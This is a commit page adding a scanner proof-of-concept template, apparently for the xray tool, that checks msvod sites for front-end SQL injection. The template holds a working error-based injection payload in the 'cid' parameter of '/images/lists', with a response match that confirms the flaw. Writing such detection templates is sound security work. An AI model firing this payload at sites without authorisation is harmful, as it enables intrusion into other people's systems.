msvodx 前台注入 (#636)

chaitin · Jan 6, 2020 · a7438bc · a7438bc
1 parent 71f6ca5
commit a7438bc
Showing 1 changed file with 12 additions and 0 deletions.
diff --git a/pocs/msvod-sqli.yml b/pocs/msvod-sqli.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-msvod-sqli
+set:
+  r1: randomInt(800000000, 1000000000)
+rules:
+  - method: GET
+    path: "/images/lists?cid=1 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,md5({{r1}}))) desc --+a"
+    expression: |
+      response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
+detail:
+  author: jinqi
+  links:
+    - https://github.com/jinqi520